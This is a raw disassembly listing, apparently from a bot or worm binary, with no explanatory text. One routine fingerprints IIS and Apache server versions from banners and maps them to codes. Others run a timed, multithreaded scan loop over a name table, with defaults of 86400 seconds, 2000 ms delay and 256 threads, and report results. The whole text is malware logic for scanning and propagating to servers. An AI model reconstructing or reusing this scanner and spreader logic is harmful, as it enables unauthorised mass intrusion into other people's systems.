		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CE48
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CE40
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CE38
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41F028
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41F028
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		mov	[ebp+var_358], eax
		push	3Ah
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_296], 0
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: sub_41349C+B0j
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: sub_41349C+54j
					; sub_41349C+11Cj
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: sub_41349C+132j
		mov	al, byte_41DF10
		mov	[ebp+var_20C], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DF10
		mov	[ebp+var_108], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: sub_41349C+19Cj
		push	[ebp+var_506]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413675
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: sub_41349C+1C4j
		cmp	[ebp+var_358], 0
		jz	loc_413782
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp+var_644], eax
		cmp	[ebp+var_644], 0
		jz	short loc_4136B6
		mov	[ebp+var_296], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: sub_41349C+20Cj
		mov	[ebp+var_296], 3


loc_4136C0:				; CODE XREF: sub_41349C+218j
		movsx	eax, [ebp+var_36B]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp+var_358]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	[ebp+var_296], 1


loc_4136E5:				; CODE XREF: sub_41349C+22Dj
					; sub_41349C+23Dj
		movsx	eax, [ebp+var_37B]
		test	eax, eax
		jz	short loc_4136FA
		mov	[ebp+var_296], 2


loc_4136FA:				; CODE XREF: sub_41349C+252j
		movsx	eax, [ebp+var_37A]
		test	eax, eax
		jz	short loc_41370F
		mov	[ebp+var_296], 3


loc_41370F:				; CODE XREF: sub_41349C+267j
		cmp	[ebp+var_296], 3
		jnz	short loc_41372B
		cmp	[ebp+var_644], 0
		jz	short loc_41372B
		mov	[ebp+var_296], 2


loc_41372B:				; CODE XREF: sub_41349C+27Aj
					; sub_41349C+283j
		cmp	[ebp+var_296], 3
		jnz	short loc_413782
		mov	al, [ebp+var_36A]
		mov	[ebp+var_64C], al
		mov	al, [ebp+var_377]
		mov	[ebp+var_648], al
		mov	[ebp+var_36A], 1
		and	[ebp+var_377], 0
		push	0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_64C]
		mov	[ebp+var_36A], al
		mov	al, [ebp+var_648]
		mov	[ebp+var_377], al


loc_413782:				; CODE XREF: sub_41349C+1E0j
					; sub_41349C+1F4j ...
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset dword_41CF30
		mov	eax, [ebp+var_628]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		push	[ebp+var_50E]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, [ebp+var_628]
		push	dword ptr [eax]
		push	offset dword_41CEF8
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	[ebp+var_358], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C	; Sleep


loc_413807:				; CODE XREF: sub_41349C+35Ej
		and	[ebp+var_10C], 0
		call	sub_416B64	; clock
		mov	[ebp+var_35C], eax
		and	[ebp+var_4], 0


loc_41381D:				; CODE XREF: sub_41349C+3F9j
					; sub_41349C+44Bj ...
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: sub_41349C+38Bj
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: sub_41349C+3A9j
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41F028
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: sub_41349C+3F7j
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_650], eax
		cmp	[ebp+var_650], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp+var_4]
		sub	eax, [ebp+var_35C]
		mov	ecx, [ebp+var_50E]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: sub_41349C+42Bj
					; sub_41349C+449j
		push	[ebp+var_50A]
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: sub_41349C+4BAj
					; sub_41349C:loc_413A30j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_654], eax
		cmp	[ebp+var_654], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: sub_41349C+483j
		mov	eax, [ebp+var_10C]
		inc	eax
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_358], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_658], eax
		cmp	[ebp+var_658], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: sub_41349C+4B8j
		push	14Ch
		lea	eax, [ebp+var_358]
		push	eax
		push	[ebp+var_658]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_658]
		mov	ecx, [ebp+var_654]
		mov	[eax+3Eh], ecx
		push	[ebp+var_658]
		push	offset sub_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	[ebp+var_658]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: sub_41349C+4F9j
		push	[ebp+var_8]
		push	[ebp+var_654]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: sub_41349C+507j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: sub_41349C+49Ej
		mov	eax, [ebp+var_628]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: sub_41349C+525j
		lea	eax, [ebp+var_75C]
		push	eax
		push	[ebp+var_654]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp+var_36A]
		mov	[ebp+var_65C], al
		and	[ebp+var_36A], 0
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_75C]
		push	eax
		push	offset dword_41CEE4
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_65C]
		mov	[ebp+var_36A], al
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_4]
		add	eax, 3E8h
		mov	[ebp+var_4], eax


loc_413A30:				; CODE XREF: sub_41349C:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: sub_41349C+467j
					; sub_41349C+485j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: sub_41349C:loc_413847j
		push	[ebp+var_10C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_35C]
		mov	dword ptr [ebp+var_764], eax
		and	dword ptr [ebp+var_764+4], 0
		fild	[ebp+var_764]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+774h+var_774]
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_624]
		push	eax
		push	offset unk_41CEA0
		lea	eax, [ebp+var_502]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_628]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: sub_41349C+142j
					; sub_41349C+1ACj ...
		pop	edi
		leave
		retn	4
sub_41349C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CD88[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 32h
		jb	short loc_413BAC
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_413BB3


loc_413BAC:				; CODE XREF: sub_413AB0+F1j
		mov	[ebp+var_C], 7D0h


loc_413BB3:				; CODE XREF: sub_413AB0+FAj
		cmp	[ebp+arg_14], 0
		jz	short loc_413BC7
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_34], eax
		jmp	short loc_413BCE
; ---------------------------------------------------------------------------


loc_413BC7:				; CODE XREF: sub_413AB0+107j
		mov	[ebp+var_34], 100h


loc_413BCE:				; CODE XREF: sub_413AB0+115j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_413BE3
		cmp	[ebp+var_10], 200h
		jbe	short loc_413BEA


loc_413BE3:				; CODE XREF: sub_413AB0+128j
		mov	[ebp+var_10], 100h


loc_413BEA:				; CODE XREF: sub_413AB0+131j
		push	2C9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_413C03
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413C03:				; CODE XREF: sub_413AB0+14Cj
		push	108h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	0Eh
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+11Ah], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+11Eh], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	[eax+122h], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 126h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_10]
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+11Ah]
		mov	eax, [ebp+var_8]
		add	eax, 10Ch
		push	eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	offset unk_41CF5C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_41349C
		call	sub_4095A4
		add	esp, 24h

locret_413CB1:				; CODE XREF: sub_413AB0:loc_413AC2j
					; sub_413AB0+34j ...
		leave
		retn
sub_413AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413CB3	proc near		; DATA XREF: sub_413FE7+5Co

var_49C		= dword	ptr -49Ch
var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_469		= byte ptr -469h
var_3BE		= dword	ptr -3BEh
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= byte ptr -32Ch
var_1AC		= byte ptr -1ACh
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_21		= byte ptr -21h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_330]
		push	dword ptr [eax]
		push	offset unk_41D008
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_334], 0
		and	[ebp+var_484], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_413D21:				; CODE XREF: sub_413CB3:loc_413FA8j
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		and	[ebp+var_488], 0
		jmp	short loc_413D44
; ---------------------------------------------------------------------------


loc_413D37:				; CODE XREF: sub_413CB3+23Bj
					; sub_413CB3:loc_413F77j
		mov	eax, [ebp+var_488]
		inc	eax
